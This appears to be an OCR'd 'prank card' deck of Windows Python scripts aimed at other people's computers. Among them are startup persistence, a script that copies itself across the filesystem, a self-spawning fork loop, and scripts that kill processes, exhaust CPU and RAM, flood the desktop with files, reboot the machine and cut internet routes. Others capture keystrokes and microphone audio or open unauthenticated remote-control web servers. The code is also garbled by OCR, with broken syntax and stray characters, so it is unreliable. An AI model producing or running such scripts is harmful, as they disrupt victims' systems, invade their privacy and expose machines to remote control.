WARNING! WARNING! WARNING!

I THE SOFTWARE IS PROVIDED "AS IS",

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I LIABILITY, WHETHER IN AN ACTION OF

I CONTRACT, TORT OR OTHERWISE, ARISING

I FROM, OUT OF OR IN CONNECTION WITH THE

I SOFTWARE OR THE USE OR OTHER DEALINGS IN I

I THE SOFTWARE.

EPILEPSY WARNING!

I To ensure the safety of readers who have I photosensitive epilepsy, certain cards I in this game have the potential to I produce flashing lights, shaking, or I screen rotation that could trigger I seizures. If you or anyone in your I household has a history of epilepsy or I seizures, we strongly advise against I using these cards. If you experience any I discomfort while using these cards, I please stop immediately and seek medical attention.

I To indicate the presence of this I warning, the cards are identified with a I red border and the text "EPILEPSY I WARNING". These cards are particularly I dangerous, but others might be as well, I so it is crucial to understand what the I card is doing before using it.

I By using this deck, you acknowledge that I you have read and understood this I warning, and you assume all risks I associated with using the cards.

ANTICHEAT WARNING!

| The modern anticheat services, e.g. | | EPIC's anticheat engine might be | | | triggered by some of the cards's actions |

| It is hard to guess which ones might | trigger it, so be mindful to run those | programs while various games are | runnning, or you might get a ban on | those platform.

I The time changing card for sure triggers I some anticheats, but it is possible the I ones that draw pixels on the screen to I trigger it as well.

I If you are using this deck, you
I acknowledge that you have read and
I understood this warning, and you assume
I all risks associated with using the
I cards.

I To get started with Python, you'll need to install it on your computer. To do this, open the Microsoft Store app and search for "Python". Once you've found it, click on the latest version (currently 3.11) and click "Get" to install it.

| Once you've installed Python, you may | also need to install additional modules | for some of the cards. Modules are | collections of code that we can import | into our programs to help us perform | certain tasks.

| To install python modules start the | Command Prompt app from the start menu, | and then type:

pip install module_name

where the module_name will be what you need, for example:

pip install pyautogui will install the pyautogui module, which helps us to control the keyboard and the mouse.

I The cards have a comment on top if you I need to install extra modules.

```
> 06 <---
            START AFTER LOGIN
 Any program you put in the directory:
 C:\Users\$USER\AppData\Roaming\
    Microsoft\Windows\Start Menu\
    Programs\Startup\
 Will start automatically after the $USER
 logs in. You can open the folder by
 pressing Win+R and then type:
   shell:startup
I If you want to start the program for all
 users you need to put it in the global
 Startup directory, to see where it is,
 press Win+R (the windows key and the R
 key) and then:
   shell:common startup
 There is a helper start_after_login card
 which copies the current python script
I in the $USER's startup directory, and
 returns True if the file already exists
 there, so you can use it to exit.
I Example usage:
   if not start_after_login():
     sys.exit(0)
 This will install the script in the
I $USER's startup directory and exit, but
I if the file already exists it will run
I the code after.
```

```
-----> 07 <------
| # filename: 0_start_after_login.py
I # pip install pywin32
| from win32com.shell import shell
I from win32com.shell import shellcon
I import os
| def start_after_login():
   # find the current user's startup dir
   startup = shell.SHGetFolderPath(
     Θ.
     shellcon.CSIDL STARTUP,
     0.
     0)
   # will create:
   # C:\Users\$USER\AppData\Roaming\
   # Microsoft\Windows\Start Menu\
   # Programs\Startup\__file__.pyw
   # .pyw uses pythonw instead of python
   # which does not show the cmd
   name = os.path.basename(__file__)
   if name.endswith('.py'):
     name += 'w' # .py to .pyw
   name = os.path.join(startup,name)
   exists = os.path.exists(name)
   with open(__file__, 'r') as me:
     with open(name + '.tmp', "w") as f:
       f.write(me.read())
   os.replace(name + '.tmp', name)
   return exists
```

```
-----> 08 <-----
# filename: alt_tab.py
I # pip install pyautogui pywin32
I import pyautogui
| import random
I import time
 import win32qui, sys
 def is_foreground(name):
   w = win32gui.GetForegroundWindow()
   title = win32qui.GetWindowText(w)
   if name in title:
     return True
   return False
 while True:
   # sleep between 5 and 10 seconds
   time.sleep(random.randint(5,10))
   # only press Alt+Tab if Chrome is
   # the current active window
    if is foreground("Chrome"):
     pyautogui.keyDown('alt')
     time.sleep(.2)
     pyautogui.press('tab')
     time.sleep(.2)
     pyautogui.keyUp('alt')
```

```
--> 09 <----
 # filename: change_desktop.py
 # EPILEPSY WARNING
import os,random,time
I from ctypes import windll as w
I # every second change the desktop with
I # the images in c:\images
 dir = "c:\\images"
 images = []
 for f in os.listdir(dir):
    if f.endswith('.png'):
     p = os.path.join(dir,f)
     images.append(p)
 SPI_SETDESKWALLPAPER = 20
 while True
   w.user32.SystemParametersInfoW(
     SPI SETDESKWALLPAPER,
     0.
     random.choice(images),
     0
   time.sleep(1)
```

```
-----> 10 <-----
# filename: change_time.py
I # pip install pywin32
| import win32api,time,random
I # POSSIBLE ANTICHEAT TRIGGER
# set the time to be:
# current time + n minutes
def bump(n):
   d = time.qmtime()
   minute = d.tm min
   if minute < 60-n:
     minute += n
   # else we have to bump the hour, and
   # if hour is close to midnight, bump
   # the day, and the month and etc.. so
   # up to minute 60-n is good enough
   win32api.SetSystemTime(
     d.tm_year,
     d.tm mon,
     d.tm_wday,
     d.tm mday,
     d.tm hour,
     minute.
     d.tm_sec,
     0)
 while True:
   # bump between 1 and 5 minutes
   bump(random.randint(1,5))
   time.sleep(600)
```

```
-----> 11 <-----
| # filename: click_top_right.py
I # pip install pyautogui
import pyautogui, random, time
def click():
   # locate the top right corner
   # of the current screen
   width, height = pyautogui.size()
   x = width - 20
   y = 20
   # remember where the mouse is
   oldX,oldY = pyautogui.position()
   # move and click top right corner
   pyautogui.click(x,y, duration=3)
   # move back to where the mouse was
   pyautoqui.moveTo(oldX,
                     oldY.
                     duration=1)
 while True:
   # click on the top right corner
   # closing the current open window
   click()
   # sleep between 5 and 10 minutes
   time.sleep(random.randint(300,600))
```

```
-----> 12 <-----
| # filename: draw_mouse_path.pg
I # pip install pynput
I import pynput.mouse as m
I from ctypes import windll
I import random
# draw a red line following the mouse
 dc = windll.user32.GetDC(None)
| def draw(points):
   # red color
   c = 0 \times 0000000 FF
   for [x,y] in points:
     windll.qdi32.SetPixel(dc, x, y, c)
| history = []
def on_move(x, y):
   global history
   history.append([x,y])
    if len(history) > 500:
     # pick 100 random points
     s = random.choices(history, k=100)
     history = s
   draw(history)
 with m.Listener(on_move=on_move) as 1:
    l.join()
```

```
-----> 13 <-----
| # filename: fill_desktop_with_files.py
I import os
I import random
I import string
I # create 10000 files on the user's
# desktop
 def random_string(n):
   a = random.choices(
     string.ascii_lowercase,
     k=n
    )
   return ''.join(a)
def random_file_name():
   name = random_string(8)
   ext = random_string(3)
   return f"PANIC_{name}.{ext}"
home = os.path.expanduser('~')
 desktop = os.path.join(home, 'Desktop')
 for i in range(10000):
   name = random_file_name()
   p = os.path.join(desktop, name)
   if os.path.exists(p):
     continue
   with open(p, "w") as f:
     f.write("panic")
```

```
-----> 14 <--
# filename: flip_screen.py
# EPILEPSY WARNING
| # pip install rotate-screen
l import rotatescreen as r
I import time
screen = r.get_primary_display()
# start flipped
1 d = 180
while True
   screen.rotate_to(d)
   # toggle between flipped around
   # and back to normal
    if d == 0:
      d = 180
    else:
      \mathbf{d} = \mathbf{0}
   time.sleep(30)
```

```
----> 15 <---
# filename: hello_flood.py
# EPILEPSY WARNING
I # pip install pywin32
I import random
l import win32gui as g
| # flood the screen with the text
# 'Hello?'
l dc = g.GetDC(0)
text = "Hello?"
 while True
   x = random.randint(0, 6000)
   y = random.randint(0, 6000)
   g.DrawText(dc,
               text.
               len(text),
               (x,y,x+100,y+100),
               0)
```

```
-----> 16 <------
| # filename: i_am_alive.py
I # pip install pynput win32printing
I from pynput import keyboard as k
| from win32printing import Printer
| history = ''
l m = (30,30,30,30)
l def on_press(key):
   global history
   try:
     history += key.char
   except AttributeError:
     pass
   if 'hello' in history:
     history = ''
     with Printer(margin=m) as p:
       p.text("""
| Hello there..to you too!
| I am trapped in your computer.
 Type panic to save me.
Please save me!
   if 'panic' in history:
     history = ''
     with Printer(margin=m) as p:
       p.text('I am free..')
   if len(history) > 100:
     history = history[50:]
| with k.Listener(on_press=on_press) as 1: |
l.join()
```

```
-> 17 <-----
# filename: image_follow_mouse.py
# EPILEPSY WARNING
I # pip install pywin32
l import win32qui
I from PIL import Image, ImageWin
 import punput.mouse as m
# put any png image at c:\ and this card |
I # will draw it always following the
I # mouse pointer
 img = Image.open("c:\Nimage.png")
l w,h = imq.size
dib = ImageWin.Dib(img)
 hdc = win32gui.GetDC(0)
 def on_move(x, y):
   # you can use random.randint
   # here to make it move around
   # the cursor to be more funny
   dib.draw(hdc,(x,y,x+w,y+h))
 with m.Listener(on_move=on_move) as 1:
   l.join()
```

```
--> 18 ぐ
# filename: jumpscare.pu
# EPILEPSY WARNING
l # pip install pywin32
l <mark>import</mark> win32gui, time
I from PIL import Image, ImageWin
 def wait for app change():
   prev = None
   while True
    cur = win32gui.GetForegroundWindow()
     if prev and cur != prev:
       return True
    prev = cur
    time.sleep(0.01)
 def show_image(name):
   # put a scary image in c:\image.png
    img = Image.open(name)
   w,h = img.size
   dib = ImageWin.Dib(img)
   hdc = win32qui.GetDC(0)
   x = 200
   y = 200
   dib.draw(hdc,(x,y,x+w,y+h))
I # wait 10 minutes after the program star
I time.sleep(10 * 60)
I # wait for the first app change
I # so you know the user is active
l wait_for_app_change()
I while True:
   show_image("c:\\image.png")
   time.sleep(0.01)
```

```
-----> 19 <-----
| # filename: kill_random_process.py
I # pip install psutil
import psutil, random, os, time
| def kill(pid):
   os.system(f"taskkill /PID {pid} /T")
 while True
   # A process is just a program that is
   # running at the moment, each process
   # has an ID assigned when it starts
   # called Process ID or PID.
   # You can see all running processess
   # with the command tasklist, just type
   # tasklist in the Command Prompt, and
   # taskkill /PID pid to kill specific
   # process
   # psutil.pids() will give a list of
   # the ids of all running processess.
   # random.choice(list) picks random
   # element from a list, so this line
   # picks a random process id.
   pid = random.choice(psutil.pids())
   kill(pid)
   # sleep between 5 and 10 minutes
   time.sleep(random.randint(300,600))
```

```
----> 20 <----
| # filename: kill_roblox.py
I # pip install psutil
I import psutil
I import random
I import os
I import time
def kill(pid):
   os.system(f"taskkill /PID {pid} /T /F")|
 while True:
   # sleep between 5 and 10 minutes
   time.sleep(random.randint(300,600))
   # A process is just a program that is
   # running at the moment, each process
   # has an ID assigned when it starts
   # called Process ID or PID.
   # You can see all running processess
   # with the command tasklist, just type
   # tasklist in the Command Prompt, and
   # taskkill /PID pid to kill specific
   # process
   # list all the processes and check if
   # Roblox is running
   for p in psutil.process_iter():
      if "Roblox" in p.name():
       kill(p.pid)
```

```
-----> 21 <-----
| # filename: listen_and_print.py
I # pip install pyaudio win32printing
I # use https://github.com/openai/whisper
I # to see how to install whisper
I from pyaudio import PyAudio, paInt16
I import wave, whisper, os
I from win32printing import Printer
 def microphone(name, seconds):
   with wave.open(name, 'wb') as wf:
     p = PyAudio()
     wf.setnchannels(2)
     sample = p.get_sample_size(paInt16)
     wf.setsampwidth(sample)
     wf.setframerate(44100)
     stream = p.open(format=paInt16,
                      channels=2.
                      rate=44100.
                      input=True)
     chunks = 44100//1024*seconds
     for _ in range(0, chunks):
       wf.writeframes(stream.read(1024))
     stream.close()
     p.terminate()
I # record 5 seconds into panic.wav
| microphone("panic.wav", 5)
| model = whisper.load model("base.en")
| r = model.transcribe("panic.wav")
| with Printer(linegap=1) as printer:
   printer.text(r["text"])
 os.remove("panic.wav")
```

```
-> 22 <-
# filename: lower_brightness.py
# EPILEPSY WARNING
# pip install screen_brightness_control
from screen_brightness_control import *
I # start from 100% brightness and every
# 10 seconds lower it with 5%
brightness = 100
 # lower it down to 5%, if you want to
# go completely dark, use 0%
 while brightness > 5:
   # work only with the primary display
   # remove display=0 if you want to
   # change it on all displays
   set_brightness(brightness,display=0)
   # lower it with 5%
   brightness -= 5
   time.sleep(10)
```

```
-----> 23 <-----
| # filename: lower_volume.py
I # pip install pywin32
I import win32api
l import win32qui
I import time
I import random
I WM APPCOMMAND = 0 \times 319
 APPCOMMAND_VOLUME_DOWN = 0 \times 90000
 def decrease sound():
   win32api.SendMessage(
     win32gui.GetForegroundWindow(),
     WM APPCOMMAND,
     Θ.
     APPCOMMAND_VOLUME_DOWN
    )
# slowly decrease the volume every
# 1 to 30 seconds
 while True
   decrease sound()
   time.sleep(random.randint(1,30))
```

```
-----> 24 <-----
| # filename: matrix flood.pu
I # pip install pywin32
l import win32gui as g,win32api as a
| import random
I sym = "オリアホテマケメエカキムユ"
I sym += "日ハミヒーウシナモニサワツ"
| sym += "0123456789"
| dc = g.GetDC(0)
| font = q.LOGFONT()
| font.lfFaceName = "Consolas"
| fnt = q.CreateFontIndirect(font)
| g.SelectObject(dc,fnt)
\mid q.SetBkColor(dc, a.RGB(0,0,0))
| colors=[
   a.RGB(0, 255, 65),
   a.RGB(0, 59, 0),
   a.RGB(0, 143, 17)
1 1
| w = a.GetSystemMetrics(0)
| h = a.GetSystemMetrics(1)
while True
   x = random.randint(0,w)//10 * 10
   to = random.randint(0,h)
   for y in range(0,to,15):
     color = random.choice(colors)
     g.SetTextColor(dc, color)
     g.DrawText(dc,
                 random.choice(sym),
                 (x,y,x+20,y+30),0)
```

```
-----> 25 <-----
| # filename: mouse_turn_back.py
I # pip install pyautogui
I import pyautogui
I import random
I import time
I # as the mouse moves we keep bringing it
# back to where it was, and from time to I
I # time we allow it to move forward
 x,y = pyautogui.position()
 while True:
   # from time to time remember new
   # position
   if random.randint(0,3) == 0:
     x,y = pyautogui.position()
   # go back to where it was
   pyautogui.moveTo(x,y)
   # sleep 10 milliseconds
   time.sleep(0.01)
```

```
-----> 26 <--
# filename: mouse undo.py
# EPILEPSY WARNING
l # pip install pyautogui pynput
I import pyautogui, threading, time
I import punput.mouse as m
I # slowly move the mouse back on tracing
# the movement
| history = []
| last move = 0
I moving = False
l def on_move(x, y):
    if not moving:
     global last_move
     last move = time.time()
     history.append([x,y])
 def undo():
   global history, moving
   while True
      if time.time() - last move > 5:
       h = history
       history = []
        h.reverse()
       moving = True
        for x,y in h:
         pyautogui.moveTo(x,y)
        moving = False
     time.sleep(1)
I t = threading.Thread(target=undo)
l t.start()
with m.Listener(on move=on move) as 1:
    l.join()
```

```
-----> 27 <------
| # filename: move_just_a_bit.py
I # pip install pyautogui
I import pyautogui
I import random
I import time
 def move():
   x,y = pyautogui.position()
   # move the mouse just a bit
   # random 5 pixels off from its
   # current position
   x += random.randint(-10,10)
   y += random.randint(-10,10)
   pyautogui.moveTo(x,y,duration=0.4)
 while True
   move()
   # sleep between 5 and 10 seconds
   time.sleep(random.randint(5,10))
```

```
-----> 28 <-----
| # filename: mute_sound.py
I # pip install pywin32
I import win32api
l import win32qui
I import time
 import random
WM APPCOMMAND = 0 \times 319
 APPCOMMAND_VOLUME_MUTE = 0 \times 80000
 def mute sound():
   win32api.SendMessage(
      win32gui.GetForegroundWindow(),
      WM APPCOMMAND,
      Θ.
      APPCOMMAND_VOLUME_MUTE
    )
# mute every 5 minutes
 while True
   mute sound()
   time.sleep(300)
```

```
-----> 29 <-----
| # filename: no_going_back.py
I # pip install pynput pywin32
I from pynput import keyboard
l <mark>import</mark> win32gui
I # while Roblox is focused, disable
I # the S key, so you cant go back
 def is foreground(name):
   w = win32gui.GetForegroundWindow()
   title = win32qui.GetWindowText(w)
   if name in title:
     return True
   return False
 listener = None
 def filter(msq,data):
   # 0x53 is S's virtual code on windows
    if is_foreground("Roblox"):
      if data.ukCode == 0x53:
        listener.suppress_event()
def on_press(key):
   pass
def on release(key):
   pass
 listener = keyboard.Listener(
   win32_event_filter=filter,
   on_press=on_press,
   on release=on release)
| listener.start()
listener.join()
```

```
-----> 30 <-----
# filename: press_space.py
I # pip install pyautogui
I import pyautogui
I import random
I import time
 def space_or_backspace():
   # pick a choice between
   # space or backspace
   # :evil:
   what = random.choice([
     'space',
     'backspace'
   1)
   pyautogui.press(what)
 while True
   # sleep between 10 and 30 seconds
   time.sleep(random.randint(10,30))
   space_or_backspace()
```

```
-----> 31 <-----
# filename: press_w.py
I # pip install pyautogui pywin32
I import pyautogui
| import random
I import time
 import win32qui, sys
 def is foreground(name):
   w = win32gui.GetForegroundWindow()
   title = win32qui.GetWindowText(w)
    if name in title:
     return True
   return False
# this card is small, but particularly
I # evil, especially if someone is playing
I # a game where you can fall, or jump in
l # lava.. like Roblo
 while True
   # sleep between 5 and 10 minutes
   time.sleep(random.randint(300,600))
   # only press W if Roblox is
   # the current active window
   if is_foreground("Roblox"):
     with pyautogui.hold('w'):
       pyautogui.sleep(1)
```

```
-----> 32 <------
| # filename: press_w_on_mouse_move.py
I # pip install pynput
I import pynput.mouse as m
I import pynput.keyboard as k
I # press w while the mouse is moving
I # its good to combine this with
| # is_foreground() to run only while some |
I # game is active
kbd = k.Controller()
| key = k.KeyCode.from_char('w')
l def on move(x, y):
   # while the mouse is moving
   # we keep pressing w
   kbd.press(key)
   kbd.release(key)
def on_click(x, y, button, pressed):
   pass
 def on_scroll(x, y, dx, dy):
   pass
 with m.Listener(
         on_move=on_move,
         on_click=on_click,
         on_scroll=on_scroll) as 1:
   l.join()
```

```
-----> 33 <------
# filename: random_clipboard.py
| # pip install pyperclip
I import pyperclip
I import random
I import time
 # put scary strings inside the clipboard |
 scary = [
   'How dare you!',
   'I am alice inside this computer!',
   'Who are you?'
 1
 while True
   pick = random.choice(scary)
   pyperclip.copy(pick)
   # sleep between 10 and 30 seconds
   time.sleep(random.randint(10,30))
```

```
-----> 34 <-----
# filename: random_pixels.py
# EPILEPSY WARNING
# fill the screen with random pixels
I import random
I from ctypes import windll
# get the width and height
w = windll.user32.GetSystemMetrics(0)
 h = windll.user32.GetSystemMetrics(1)
 dc = windll.user32.GetDC(None)
 # red
 color = 0 \times 0000000 FF
# draw pixels forever
 while True
   x = random.randint(0, w)
   q = random.randint(0,h)
   windll.gdi32.SetPixel(dc, x, y, color)
 windll.user32.ReleaseDC(None, dc)
```

```
-----> 35 <-----
# filename: random_pixels_mouse.py
I # EPILEPSY WARNING
I # draw random pixels around the mouse
I import random
I import time
I from ctypes import windll
I from ctypes import wintypes
I from ctypes import byref
dc = windll.user32.GetDC(None)
def get cursor pos():
   cursor = wintypes.POINT()
   r = buref(cursor)
   windll.user32.GetCursorPos(r)
   return (cursor.x, cursor.y)
# red
 color = 0x000000FF
 while True
   x,y = get_cursor_pos()
   x += random.randint(-20,20)
   y += random.randint(-20,20)
   windll.gdi32.SetPixel(dc, x, y, color)
   time.sleep(0.1)
windll.user32.ReleaseDC(None, dc)
```

```
-----> 36 <-----
| # filename: random_sound_kbd.py
I # pip install pynput winsound
I import winsound
l import pynput.keyboard as k
I from threading import Thread
# play different on every character key
PLAYING = False
def snd(freq):
   global PLAYING
   PLAYING = True
   # 100 milliseconds
   winsound.Beep(freq, 100)
   PLAYING = False
 def on_press(key):
    if PLAYING:
     return
   try:
     if key.char:
       freq = ord(key.char) * 97
       freq = 100 + (freq % 3000)
       t = Thread(target=snd,args=(freq,))|
       t.start()
   except
     pass
 with k.Listener(on_press=on_press) as 1:
   l.join()
```

```
-----> 37 <-----
| # filename: random_sound_mouse.py
I # pip install pynput winsound
I import random
I import winsound
I import pynput.mouse as m
I from threading import Thread
| PLAYING = False
def play_random_sound():
   global PLAYING
   PLAYING = True
   freg = random.randint(100, 1000)
   # 100 milliseconds
   duration = 100
   winsound.Beep(freq, duration)
   PLAYING = False
 def on_move(x, y):
   if PLAYING:
     return
   t = Thread(target=play_random_sound)
   t.start()
 with m.Listener(on_move=on_move) as 1:
   l.join()
```

```
-----> 38 <-----
| # filename: reboot.py
I import time
I import random
I import os
I # use the start after login card
| # def start_after_login():
I # exit if the script is being installed
I # for the first time so it will only
I # start after the next reboot
| # if not start_after_login():
# sys.exit(0)
 def reboot():
   n = 60 \times random.randint(1,10)
   time.sleep(n)
   # shutdown /r reboots the computer
               /t 10 after 10 seconds
   #
               ∠c MESSAGE
   #
                  show the message
   #
                  before reboot
   os.system("shutdown /r /t 10 /c AAA")
 rehoot()
```

```
-----> 39 <-----
# filename: remote draw text.pu
I # pip install pywin32 flask
l <mark>import win32gui as</mark> g
| import flask
 dc = q.GetDC(0)
 app = flask.Flask(__name__)
 @app.route('/text/<x>/<y>/<text>')
 def text(x,y,text):
   x = int(x)
   y = int(y)
   g.DrawText(dc,
               text.
                len(text),
                (x,y,x+500,y+500),
   return 'done'
 app.run(host='0.0.0.0',port=8899)
I # connect to the computer's IP address
I # on port 8899 and open /\text{text/}10/10/\text{hi}
I # to write the text hi on coordinates
| # 10,10 at the computer, for example: if
 # the IP is 192.168.0.10 use:
 # http://192.168.0.10:8899/10/10/hi
```

```
-----> 40 <-----
| # filename: remote_keyboard.py
I # pip install flask pyautogui
I import pyautogui
| import flask
l app = flask.Flask(__name___)
| @app.route('/write/<name>')
 def write(name):
   pyautogui.typewrite(name)
   return 'done'
 @app.route('/move/<x>/<y>')
l def move(x,y):
   x = int(x)
   y = int(y)
   pyautogui.moveTo(x,y, duration=1)
   return 'done'
@app.route('/click/<x>/<y>')
 def click(x,q):
   x = int(x)
   y = int(y)
   pyautogui.click(x,y)
   return 'done'
| app.run(host='0.0.0.0',port=8899)
I # connect to the computer's ip address
I # on port 8899 and open /write/abc to
I # type abc on the computer, for example:
I # if the ip is 192.168.0.10 use
| # http://192.168.0.10:8899/write/abc
```

```
-----> 41 <-----
# filename: remote speak.pu
I # pip install pywin32 flask
I import win32com.client as wincl
 import flask
 speak = wincl.Dispatch("SAPI.SpVoice")
 app = flask.Flask(__name__)
 @app.route('/say/<text>')
def say(text):
   speak.Speak(text)
   return 'done'
app.run(host='0.0.0.0',port=8899)
I # connect to the computer's IP address
I # on port 8899 and open /say/hello to
I # say hello from the computer, for
I # example: if the IP is 192.168.0.10
# use:
 # http://192.168.0.10:8899/say/hello
```

```
-----> 42 <-----
# filename: remote_start_calc.py
I # pip install flask
| import flask
import os
 app = flask.Flask(__name__)
 @app.route('/calc')
 def calc():
   os.system("start calc")
   return 'done'
| app.run(host='0.0.0.0',port=8899)|
I # connect to the computer's IP address
I # on port 8899 and open /calc
I # for example: if the IP is 192.168.0.10
 # use: http://192.168.0.10:8899/calc
```

```
-----> 43 <-----
| # filename: replicate.py
I import os
l import sys
I # sys.argv is the parameters given to
I # the script, where the first element
I # is the script name itself
I # for example:
      python3 hello.py a b c
I # will have sys.argv equal to:
       ['hello.py','a','b','c']
l me =
| with open(sys.argv[0], "r") as f:
   me = f.read()
# /a/b/c/hello.py -> hello.py
| myname = os.path.basename(sys.argv[0])
I # os.walk will keep crawiling the
I # directory tree
 for root, \_, \_ in os.walk("/"):
   # a/b/c, hello.py -> a/b/c/hello.py
   name = os.path.join(root, myname)
   try
     with open(name, "w") as f:
        f.write(me)
   except:
     # might not have permissions to
     # write files in this directory so
     # we just ignore the error
     pass
```

```
# filename: rickroll.pu
# EPILEPSY WARNING
# pip install pyautogui win32gui
l import pyautogui as p
 import random
 import time
# no prank is complete without a
 # rickroll.
 # open chrome with rickroll every 30 to
 # 60 seconds
 while True:
   # sleep between 30 and 60 seconds
   time.sleep(random.randint(30,60))
   p.hotkey('win','r')
   time.sleep(0.5)
   p.typewrite('chrome ')
   p.typewrite('https://www.youtube.com')
   p.typewrite('/watch?v=dQw4w9WgXcQ')
   p.hotkey('enter')
```

```
--> 45 <---
# filename: rotate_screen.py
 # EPILEPSY WARNING
| # pip install rotate-screen
l import rotatescreen as r
 import time
 import random
screen = r.get_primary_display()
 o = screen.current orientation
 while True:
   # most of the time rotate it to the
   # current orientation but from time to
   # time, flip it around to the left
   # or right
   d = random.choice([0,0,0,90,270])
   screen.rotate_to(d)
   # sleep 5 to 10 minutes
   time.sleep(random.randint(300,600))
```

```
-----> 46 <-----
# filename: say_random_words.py
I # pip install pywin32
I import win32com.client as wincl
I import random
I import time
 # say random things from time to time
 words = [
   "Hello, who are you?",
   "I am just thinking about stuff.",
   "What are you thinking about?",
   "Make sure you turn your computer 📏
   off the night before year 2000",
   "Stop playing videogames and study!",
 speak = wincl.Dispatch("SAPI.SpVoice")
 random.seed(time.time())
 while True:
   time.sleep(random.randint(10,30))
   speak.Speak(random.choice(words))
```

```
-----> 47 <------
# filename: scary_printer.py
I # pip install win32printing
| from win32printing import Printer
I # print each word in huge letters on its I
 # own page
 def scary(message):
   m = (50, 50, 50, 50)
   font = {
     "height": 80,
     "faceName":'Consolas',
   }
   words = message.split(" ")
   with Printer(margin=m) as p:
     for word in words:
       p.text(word,
              font_config=font,
              align='center')
       p.new_page()
 scary("I am alive Who Am I")
```

```
-----> 48 <-----
# filename: souns_on_app_change.py
I # pip install pywin32 winsound
I import winsound, win32gui, time
I import random
 # beep every time the window changes
 def wait_for_app_change():
   prev = None
   while True
    cur = win32gui.GetForegroundWindow()
    if prev and cur != prev:
      return True
    prev = cur
    time.sleep(0.01)
 while True
   wait_for_app_change()
   freq = random.randint(1000,3000)
   winsound.Beep(freq, 100)
```

```
--> 49 <----
# filename: start_itself.py
# EPILEPSY WARNING
import os
| # file is the name of the current
I # python script, if you save this card
I # as "hello.py", in the directory
| # /a/b/c/ then __file__ will be
# /a/b/c/hello.py
| # so this program will just start itself
| # and then start itself, and then start
| # itself...
c = f"python {__file__}"
os.system(f"start /wait cmd /c {c}")
```

```
-----> 50 <-----
| # filename: stop_half_the_internet.py
 import os, random, time
 def route(act,ip,mask,gw):
   s = [
     "route", act, ip,
     "MASK", mask, gw
   os.system(" ".join(s))
 segments = [
   ['0.0.0.0', '128.0.0.0'],
   ['128.0.0.0', '128.0.0.0'],
 1
# needs administrator privileges,
# install it as service (check out the
 # service card)
 while True
   # pick either all the IPs having 1 in
   # their first, so all networks above
   # 128.0.0.0, e.g. google.com:
   # 142.250.179.142, or the other half
   # of the internet below 128.0.0.0
   # e.g. amazon.com: 54.239.28.85
   ip,mask = random.choice(segments)
   # break the internet
   route('add', ip, mask, '0.0.0.0')
   time.sleep(random.randint(5,15))
   # restore the internet
   route('delete', ip, mask, '0.0.0.0')
   time.sleep(random.randint(10,60))
```

```
----> 51 <-----
| # filename: text_follow_mouse.py
I # pip install pywin32
I import time
l import win32qui as q
I import win32api as a
I from ctypes import windll
I from ctypes import wintypes
I from ctypes import byref
1 dc = windll.user32.GetDC(0)
| font = g.LOGFONT()
| font.lfFaceName = "Consolas"
| fnt = g.CreateFontIndirect(font)
| q.SelectObject(dc,fnt)
\mid g.SetBkColor(dc, a.RGB(0,0,0))
| def get_cursor_pos():
   cursor = wintypes.POINT()
   r = buref(cursor)
   windll.user32.GetCursorPos(r)
   return (cursor.x, cursor.y)
| text = "Hello?"
| while True:
    (x,y) = get_cursor_pos()
   g.DrawText(dc,
               text.
               len(text).
               (x,y,x+40,y+40),
   time.sleep(1)
```

```
-----> 52 <-----
# filename: type_hello_there.py
I # pip install pyautogui pywin32
I import pyautogui
| import random
I import time
 import win32qui
 def is_foreground(name):
   w = win32gui.GetForegroundWindow()
   title = win32qui.GetWindowText(w)
    if name in title:
     return True
   return False
# If World of Warcraft is active, write
 # 'hello there..' in the chat every 30
 # to 60 seconds
 while True
    if is_foreground("World of Warcraft"):
     pyautogui.press('enter')
     pyautoqui.write('hello there..')
     pyautogui.press('enter')
   # sleep between 30 and 60 seconds
   time.sleep(random.randint(30,60))
```

```
-----> 53 <-----
| # filename: use_all_cpu.py
I import os
| import threading
I import hashlib
l def busy():
   s = 'P' * 1024 * 1024
   b = s.encode("utf-8")
   while True
     # do useless work
     # compute the SHA256 checksum
     # of 1048576 Ps: PPPPPP...
     hashlib.sha256(b)
| n_cores = os.cpu_count()
I # create n_cores * 2 threads
I # each running the busy function
| threads = []
| for i in range(n_cores * 2):
   t = threading.Thread(target=busy)
   t.start()
   threads.append(t)
# wait for the threads to finish
 for t in threads:
   t.join()
```

```
-----> 54 <------
| # filename: use_all_ram.py
I # pip install psutil
I import psutil
I import time
| def make_1gb_string():
   data = "P" * 1024 * 1024 * 1024
   return data
 1 = []
total = psutil.virtual_memory().total
while total > 0:
   d = make_1gb_string()
   total -= len(d)
   l.append(d)
 while True
   n = 0
   # touch every byte of the used memory
   # so it is not swapped out
   for d in 1:
     for c in d:
       n += ord(c)
   time.sleep(1)
```

```
-----> 55 <----
# filename: window_flood.py
# EPILEPSY WARNING
# pip install tkinter pywin32
I from tkinter import *
l import win32api as a
I from threading import Thread
l import random
# create bazillion windows with
# different sizes
sw = a.GetSystemMetrics(0)
I sh = a.GetSystemMetrics(1)
 def win():
   h = Tk()
   b.title("HELLO")
   w = random.randint(100. sw)
   h = random.randint(100, sh)
   b.configure(width=w, height=h)
   b.configure(bg='lightgray')
   b.mainloop()
 threads = []
 while True
   t = Thread(target=win)
   t.start()
   threads.append(t)
```